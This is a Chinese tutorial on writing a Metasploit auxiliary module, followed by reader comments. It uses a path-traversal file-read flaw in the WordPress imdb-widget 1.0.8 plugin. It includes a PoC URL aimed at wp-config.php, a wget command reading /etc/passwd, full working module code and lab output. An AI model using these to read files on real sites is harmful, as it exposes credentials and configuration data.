Metasploit module开发入门篇

0x00 概述


Metasploit——渗透测试神器,相信大家应该都用过或听过,drops里也有很多白帽子写过相关的文章,介绍如何使用Metasploit。使用过Metasploit的同学应该知道,Metasploit Framework是高度模块化的,即框架是由多个module组成,我们除了可以使用已有的 module,还可以自行编写module来满足自己的需求,模块化使得框架具有很好的可扩展性,这也是为什么Metasploit Framework这么受欢迎的原因之一。

看了看drops之前的文章,好像没人写过关于如何编写 Metasploit Module,刚好最近在捣鼓Metasploit,顺便复习下快遗忘的ruby,记录下自己学习的过程。

因为是入门篇,所以这里以一个非常简单WordPress Plugin的任意文件读取漏洞作为例子,搭建环境,编写自己的Auxiliary module(辅助模块),然后测试验证,介绍编写自己的 module的步骤和方法。

文中如果有说的不对或不准确的地方,欢迎大家指出~

0x01 漏洞环境


漏洞环境是一个WordPress 插件imdb-widget 1.0.8版本的任意文件读取漏洞,缺陷代码存在于pic.php,代码:

[cce]PoC:

[cce]/wp-content/plugins/imdb-widget/pic.php?url=../../../wp-config.php
[/cce]

因为 Content-Type 被设置成了 image/jpeg,所以访问后需要点击另存为文本文件,然后打开就可以获取到文件内容

可以参考WordPress Plugin IMDb Profile Widget 1.0.8 – Local File Inclusion

0x02 环境搭建


环境搭建包括两部分

Metasploit

这里使用 Kali 2.0,自带Metasploit,比较方便,下载Prebuilt Kali Linux VirtualBox Images,导入VirtualBox就可以用,这里就不细说了

WordPress 插件漏洞环境

这里使用docker来搭建,操作系统为 Ubuntu 14.04,docker的安装大家可以 google下

拉取 WordPress image

[cce]docker pull wordpress:4.4.2
[/cce]

拉取 Mysql image

[cce]docker pull mysql:5.7.11
[/cce]

拉取过程可能会比较慢,可以装个Shadow(socks)和proxychains,再proxychains docker pull

启动 mysql container

[cce]docker run -d -p 3306:3306 –name mysql -e MYSQL_ROOT_PASSWORD=root mysql:5.7.11
[/cce]

启动 wordpress container

[cce]docker run -d –name wordpress –link mysql:mysql -p 80:80 wordpress:4.4.2
[/cce]

访问

[cce]http://127.0.0.1/
[/cce]

根据页面提示Install就行

接着登录后台

[cce]http://127.0.0.1/wp-login.php
[/cce]

下载插件imdb-widget有漏洞的1.0.8版本,点击左边导航栏的 插件 – 安装插件 – 上传插件,选择刚才下载的zip包,点现在安装 – 启用插件

然后点击 外观 – 小工具,把左边的 IMDb Profile 拖到 挂件区域的第一个位置,点开设置User id,随便填一个如ur1,Show 随便勾选几个,点保存。主页刷新就可以看到了

测试漏洞,执行如下命令,就可以看到 /etc/passwd 的内容

[cce]wget -O result.txt http://127.0.0.1/wp-content/plugins/imdb-widget/pic.php?url=../../../../../../../../../etc/passwd

cat result.txt

[/cce]

0x03 编写Module


编写之前先简单介绍一些概念相关的东西

Metasploit中的 Module Tree 分为两种,Primary Module TreeUser-Specified Module Tree,前者用于放框架自带的module,后者用于放自己写的module.

Primary Module Tree在目录 /usr/share/metasploit-framework/modules/

User-Specified Module Tree 在 ~/.msf7/modules/(官网写的是~/.msf4/modules/)

Module的分类包括6种:

[cce]drwxr-xr-x 20 root root 4.0K Jan 28 05:38 auxiliary
drwxr-xr-x 11 root root 4.0K Jan 28 05:38 encoders
drwxr-xr-x 18 root root 4.0K Jan 28 05:38 exploits
drwxr-xr-x 9 root root 4.0K Jan 28 05:38 nops
drwxr-xr-x 5 root root 4.0K Jan 28 05:38 payloads
drwxr-xr-x 11 root root 4.0K Jan 28 05:38 post
[/cce]

根据官网的介绍,翻译过来大概意思是:

auxiliary:辅助模块,不带有payload的exploit,比如一些扫描模块

payloads:远程运行的代码,比如反弹shell的代码

exploits:带有payload的exploit

encoders:用于对payload进行编码

nops:保持paload大小的一致性

post: 获取权限后,用于后续渗透阶段的模块

因为任意读取漏洞是用于获取信息的,并不能直接获取系统权限,即不带有 payload ,因此我们要编写的module是属于auxiliary分类下的。

编写之前,我们来分析下任意文件读取漏洞auxiliary module需要完成的功能,简单来说:

  1. 检查插件版本,看是否为存在漏洞的版本,如果不是,则返回invulnerable,如果是或不确定,比如获取不到版本信息,则执行2
  2. 向存在漏洞的页面发送http请求,获取某个指定文件的内容,如果获取成功,则保存文件到本地。如果获取失败,有两种可能性,一是插件不存在漏洞,对应前面获取不到版本信息的情况;二是文件不存在或文件的权限问题;需要根据返回做相应处理

注:这里检查插件是否存在,应该由另一个module来完成,这里只负责检测插件是否存在漏洞

分析完后,就得开始写module了,那么这里有两种方法:

  1. 找一个auxiliary module的代码skeleton,然后一点点自己写;
  2. 找一个类似的已经写好的module,在它的基础上改写;

这里推荐第二种,比较适合我这种新手,有参考,写起来也容易些,那么如何找到可以参考的module呢?莫慌~

打开msfconsole,因为是文件读取,可以先search wordpress然后再找 read 关键词,在msfconsole中执行

[cce]msf > grep “read” search wordpress
[/cce]

找到如下几个module

[cce]auxiliary/scanner/http/wp_dukapress_file_read normal WordPress DukaPress Plugin File Read Vulnerability

auxiliary/scanner/http/wp_gimedia_library_file_read normal WordPress GI-Media Library Plugin Directory Traversal Vulnerability

auxiliary/scanner/http/wp_imdb_profile_widget_file_read normal WordPress IMDb Profile Widget Plugin File Read Vulnerability

auxiliary/scanner/http/wp_mobileedition_file_read normal WordPress Mobile Edition File Read Vulnerability

auxiliary/scanner/http/wp_nextgen_galley_file_read normal WordPress NextGEN Gallery Directory Read Vulnerability

auxiliary/scanner/http/wp_simple_backup_file_read normal WordPress Simple Backup File Read Vulnerability

auxiliary/scanner/http/wp_subscribe_comments_file_read normal WordPress Subscribe Comments File Read Vulnerability
[/cce]

这里选择auxiliary/scanner/http/wp_dukapress_file_read,具体文件位于/usr/share/metasploit-framework/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb

代码如下:

[cce]require ‘msf/core’

class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, 'Name' => ‘WordPress DukaPress Plugin File Read Vulnerability’,
‘Description’ => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
“DukaPress” version 2.5.2, allowing to read arbitrary files with the
web server privileges.
},
‘References’ =>
[
[‘EDB’, ‘35346’],
[‘CVE’, ‘2014-8799’],
[‘WPVDB’, ‘7731’],
[‘OSVDB’, ‘115130’]
],
‘Author’ =>
[
‘Kacper Szurek’, # Vulnerability discovery
‘Roberto Soares Espreto ‘ # Metasploit module
],
‘License’ => MSF_LICENSE
))

register_options(
[
OptString.new(‘FILEPATH’, [true, ‘The path to the file to read’, ‘/etc/passwd’]),
OptInt.new(‘DEPTH’, [ true, ‘Traversal Depth (to reach the root folder)’, 7 ])
], self.class)

end

def check

check_plugin_version_from_readme(‘dukapress’, ‘2.5.7’)

end

def run_host(ip)

traversal = “../” * datastore[‘DEPTH’]
filename = datastore[‘FILEPATH’]
filename = filename[1, filename.length] if filename =~ /^\//

res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(wordpress_url_plugins, ‘dukapress’, ‘lib’, ‘dp_image.php’),
‘vars_get’ =>
{
‘src’ => “#{traversal}#{filename}”
}
})

if res && res.code == 200 && res.body.length > 0

print_status(‘Downloading file…’)
print_line(“\n#{res.body}”)

fname = datastore[‘FILEPATH’]

path = store_loot(
‘dukapress.file’,
‘text/plain’,
ip,
res.body,
fname
)

print_good(“#{peer} – File saved in: #{path}”)
else
print_error(“#{peer} – Nothing was downloaded. You can try to change the DEPTH parameter.”)
end

end

end
[/cce]

看到这一堆代码,一般人都会有点晕,不知道从那里下手,莫慌,问google,搜索metasploit write module,搜索结果第三个,How to get started with writing an exploit,里面有一些module结构的说明. 这里对照着给了代码加了些注释:

[cce]# 引入msf core 库

require ‘msf/core’

# 继承 Msf::Auxiliary 类

class Metasploit3 < Msf::Auxiliary # 引入三个 module,具体可以查看文档 include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner # 初始化函数 def initialize(info = {}) super(update_info(info, # [Vendor] [Software] [Root Cause] [Vulnerability type] 'Name' => ‘WordPress DukaPress Plugin File Read Vulnerability’,
# 描述
‘Description’ => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
“DukaPress” version 2.5.2, allowing to read arbitrary files with the
web server privileges.
},
# 相关vulnerability 或 exploit的参考
‘References’ =>
[
[‘EDB’, ‘35346’],
[‘CVE’, ‘2014-8799’],
[‘WPVDB’, ‘7731’],
[‘OSVDB’, ‘115130’]
],
# 作者
‘Author’ =>
[
‘Kacper Szurek’, # Vulnerability discovery
‘Roberto Soares Espreto ‘ # Metasploit module
],
‘License’ => MSF_LICENSE
))
# 注册需要参数
register_options(
[
# 要获取的文件路径
OptString.new(‘FILEPATH’, [true, ‘The path to the file to read’, ‘/etc/passwd’]),
# 遍历深度,用于到达根目录,默认7次../
OptInt.new(‘DEPTH’, [ true, ‘Traversal Depth (to reach the root folder)’, 7 ])
], self.class)

end

# 用于支持 check 命令;在具体执行exploit前,检查是否存在漏洞

def check

# 检查dukapress版本,Wordpress module提供
check_plugin_version_from_readme(‘dukapress’, ‘2.5.7’)

end

def run_host(ip)

traversal = “../” * datastore[‘DEPTH’]
filename = datastore[‘FILEPATH’]
filename = filename[1, filename.length] if filename =~ /^\//
# 发送http请求
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(wordpress_url_plugins, ‘dukapress’, ‘lib’, ‘dp_image.php’),
‘vars_get’ =>
{
‘src’ => “#{traversal}#{filename}”
}
})
# 检查响应
if res && res.code == 200 && res.body.length > 0

print_status(‘Downloading file…’)
print_line(“\n#{res.body}”)

fname = datastore[‘FILEPATH’]
# 保存文件
path = store_loot(
‘dukapress.file’,
‘text/plain’,
ip,
res.body,
fname
)

print_good(“#{peer} – File saved in: #{path}”)
else
print_error(“#{peer} – Nothing was downloaded. You can try to change the DEPTH parameter.”)
end

end

end
[/cce]

弄懂大概结构后,我们根据前面的分析,编写自己的module,完成后的代码如下

[cce]#

This module requires Metasploit: http://metasploit.com/download

Current source: https://github.com/rapid7/metasploit-framework

#

# 引入msf core 库

require ‘msf/core’

# 继承 Msf::Auxiliary 类

class Metasploit3 < Msf::Auxiliary # 引入三个 module,照搬,具体可以查看文档 include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner # 初始化函数 def initialize(info = {}) super(update_info(info, # [Vendor] [Software] [Root Cause] [Vulnerability type] 'Name' => ‘WordPress IMDb Profile Widget Plugin File Read Vulnerability’,
# 描述
‘Description’ => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
“IMDb Profile Widget” version 1.0.8, allowing to read arbitrary files with the
web server privileges.
},
# 相关vulnerability 或 exploit的参考
‘References’ =>
[
[‘URL’, ‘https://www.exploit-db.com/exploits/39621/’]
],
# 作者
‘Author’ =>
[
‘CrashBandicot @DosPerl’, # Vulnerability discovery
‘blinking.yan ‘ # Metasploit module
],
‘License’ => MSF_LICENSE
))
# 注册需要参数
register_options(
[
OptString.new(‘FILEPATH’, [true, ‘The path to the file to read’, ‘/etc/passwd’]),
OptInt.new(‘DEPTH’, [ true, ‘Traversal Depth (to reach the root folder)’, 7 ])
], self.class)

end

# 用于支持 check 命令;在具体执行exploit前,检查是否存在漏洞

def check

# 检查imdb-widget版本
check_plugin_version_from_readme(‘imdb-widget’, ‘1.0.8’)

end

# 执行exploit

def run_host(ip)

traversal = “../” * datastore[‘DEPTH’]
filename = datastore[‘FILEPATH’]
filename = filename[1, filename.length] if filename =~ /^\//
# 发送读取文件的http请求
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(wordpress_url_plugins, ‘imdb-widget’, ‘pic.php’),
‘vars_get’ =>
{
‘url’ => “#{traversal}#{filename}”
}
})
# 检查响应
if res && res.code == 200 && res.body.length > 0
# 文件不存在
if res.body.include? ‘No such file or directory’
print_error(“#{peer} – Nothing was downloaded. No such file or directory: /#{filename}. Please change the DEPTH parameter.”)
# 文件读取权限问题
elsif res.body.include? ‘Permission denied’
print_error(“#{peer} – Nothing was downloaded. Permission denied: /#{filename}. Please change the DEPTH parameter.”)
else
print_status(‘Downloading file…’)
print_line(“\n#{res.body}”)

fname = datastore[‘FILEPATH’]
# 保存文件
path = store_loot(
‘imdb-widget.file’,
‘text/plain’,
ip,
res.body,
fname
)

print_good(“#{peer} – File saved in: #{path}”)
end
else
print_error(“#{peer} – Http Response Code is not 200 or Plugin is not vulnerable”)
end

end

end
[/cce]

可以看到,改动的地方并不是很多。

因此我们并不需要弄懂所有的类和方法,也可以写出自己的module。

代码中发送http请求部分可以参考:How to Send an HTTP Request Using HTTPClient

0x04 测试Module


前面提到,msf有专门的目录~/.msf7/modules/来存放自己编写的module,这里对照着auxiliary/scanner/http/wp_dukapress_file_read,创建目录

[cce]mkdir -p ~/.msf7/modules/auxiliary/scanner/http/
[/cce]

将代码保存~/.msf7/modules/auxiliary/scanner/http/目录下,文件名为wp_imdb_profile_widget_file_read.rb,重启msfconsole,加载自定义module,执行

[cce]msfconsole -m ~/.msf7/modules
[/cce]

查看下插件是否已经被load

[cce]msf > grep “imdb” search wordpress

auxiliary/scanner/http/wp_imdb_profile_widget_file_read normal WordPress IMDb Profile Widget Plugin File Read Vulnerability
[/cce]

对前面的漏洞环境进行测试,这里wordpress的ip为192.168.1.191

[cce]msf > use auxiliary/scanner/http/wp_imdb_profile_widget_file_read

msf auxiliary(wp_imdb_profile_widget_file_read) > show options

Module options (auxiliary/scanner/http/wp_imdb_profile_widget_file_read):

Name Current Setting Required Description

DEPTH 7 yes Traversal Depth (to reach the root folder)

FILEPATH /etc/passwd yes The path to the file to read

Proxies no A proxy chain of format type:host:port,type:host:port

RHOSTS yes The target address range or CIDR identifier

RPORT 80 yes The target port

TARGETURI / yes The base path to the wordpress application

THREADS 1 yes The number of concurrent threads

VHOST no HTTP server virtual host

msf auxiliary(wp_imdb_profile_widget_file_read) > set rhosts 192.168.1.191

rhosts => 192.168.1.191

msf auxiliary(wp_imdb_profile_widget_file_read) > run

[*] Downloading file…

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false

systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false

systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false

systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false

[+] 192.168.1.191:80 – File saved in: /root/.msf7/loot/20160403132842default192.168.1.191imdbwidget.file266865.txt

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(wp_imdb_profile_widget_file_read) >
[/cce]

成功读取到/etc/passwd,测试成功~

0x05 结论


文章主要介绍的是如何去编写module的方法,有的地方可能写的不是很详细。总结来说就是: 在接触一个新的东西时,参考别人已经写好的东西,然后修修改改,是一种很好快速入门的方法。

Comment

评论:msf我一般就用来爆破OWA和爆破snmp…

评论:阅读完,留言点赞;是对作者的尊重

评论:@eleven.i386
check_plugin_version_from_readme 函数是读取插件的readme来获取版本.
文档 https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HTTP/Wordpress/Version.html#check_plugin_version_from_readme-instance_method

评论:我想说version_readme是否是读取插件的readme? 如果插件的readme删掉了.不就无法判断版本了? 对wp的插件不熟悉. 不知道readme是否必须条件

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